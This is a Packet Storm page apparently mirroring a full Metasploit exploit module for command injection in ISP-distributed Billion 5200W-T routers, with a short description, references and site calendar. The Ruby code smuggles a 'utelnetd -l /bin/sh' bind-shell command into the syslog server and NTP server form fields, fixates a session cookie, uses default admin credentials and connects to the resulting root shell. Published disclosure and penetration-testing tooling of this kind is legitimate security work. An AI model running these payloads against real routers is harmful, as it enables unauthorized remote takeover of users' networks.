what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TrueOnline / Billion 5200W-T Router Unauthenticated Command Injection

TrueOnline / Billion 5200W-T Router Unauthenticated Command Injection
Posted Feb 1, 2017
Authored by Pedro Ribeiro | Site metasploit.com

TrueOnline is a major ISP in Thailand, and it distributes a customized version of the Billion 5200W-T router. This customized version has at least two command injection vulnerabilities, one authenticated and one unauthenticated, on different firmware versions. This Metasploit module will attempt to exploit the unauthenticated injection first, and if that fails, it will attempt to exploit the authenticated injection. This Metasploit module was tested in an emulated environment, as the author doesn't have access to the Thai router any more. Any feedback should be sent directly to the module's author, as well as to the Metasploit project. There are other language strings in the firmware, so it is likely that this firmware is not only distributed in Thailand. Other Billion 5200W-T in other countries might be vulnerable too.

tags | exploit, vulnerability
SHA-256 | 99d03703568f8b1eedaa7f5fc6cf867d738c77fb56d8b79d2b1ae985377b6d1b

TrueOnline / Billion 5200W-T Router Unauthenticated Command Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'TrueOnline / Billion 5200W-T Router Unauthenticated Command Injection',
'Description' => %q{
TrueOnline is a major ISP in Thailand, and it distributes a customised version of
the Billion 5200W-T router. This customised version has at least two command injection
vulnerabilities, one authenticated and one unauthenticated, on different firmware versions.
This module will attempt to exploit the unauthenticated injection first, and if that fails,
it will attempt to exploit the authenticated injection.
This module was tested in an emulated environment, as the author doesn't have access to the
Thai router any more. Any feedback should be sent directly to the module's author, as well as
to the Metasploit project.
There are other language strings in the firmware, so it is likely that this firmware is not
only distributed in Thailand. Other Billion 5200W-T in other countries might be vulnerable too.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'References' =>
[
['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],
['URL', 'https://blogs.securiteam.com/index.php/archives/2910']
],
'Targets' =>
[
[ 'Billion 5200W-T', {}],
],
'Privileged' => true,
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Dec 26 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9090]),
OptString.new('HttpUsername', [true, 'Username for the web interface (using default credentials)', 'admin']),
OptString.new('HttpPassword', [true, 'Password for the web interface (using default credentials)', 'password']),
], self.class)
end

# no reliable way to check if this router is vulnerable

def exploit
command = "utelnetd -l /bin/sh -p #{datastore['TelnetPort']} -d"

print_status("#{peer} - Attempting to exploit unauthenticated injection")
res = send_request_cgi({
'uri' => '/cgi-bin/adv_remotelog.asp',
'method' => 'POST',
'vars_post' => {
'RemotelogEnable' => '1',
'syslogServerAddr' => "1.1.1.1;#{command};#",
'serverPort' => '514'
}
})

if res && res.code == 404
print_error("#{peer} - Well that failed, trying the authenticated one...")

cookie = "SESSIONID=#{rand_text_alpha_lower(8)}"

# "fixate" the cookie we want - just send a GET request first, we will get a 403 but on the next
# request the router will accept our cookie as valid
send_request_raw({
'uri' => '/',
'method' => 'GET',
'headers' => { 'Cookie' => cookie }
})

sleep 2

body = "SaveTime=1&uiCurrentTime2=&uiCurrentTime1=&ToolsTimeSetFlag=0&uiRadioValue=0&uiClearPCSyncFlag=0&uiwPCdateMonth=0&uiwPCdateDay=&uiwPCdateYear=&uiwPCdateHour=&uiwPCdateMinute=&uiwPCdateSec=&uiCurTime=N%2FA+%28NTP+server+is+connecting%29&uiTimezoneType=0&uiViewSyncWith=0&uiPCdateMonth=1&uiPCdateDay=&uiPCdateYear=&uiPCdateHour=&uiPCdateMinute=&uiPCdateSec=&uiViewdateToolsTZ=GMT%2B07%3A00&uiViewdateDS=Disable&uiViewSNTPServer=\"%3b#{command.gsub(" ", "+")}%26%23&ntp2ServerFlag=N%2FA&ntp3ServerFlag=N%2FA"

# send_request_raw will send the HttpUsername and HttpPassword automatically if it finds a challenge
send_request_raw({
'uri' => '/cgi-bin/tools_time.asp',
'method' => 'POST',
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => cookie
},
'data' => body
})

sleep 3
end

begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['TelnetPort'], 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end

fail_with(Failure::Unknown, "#{peer} - Failed to exploit router.")
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close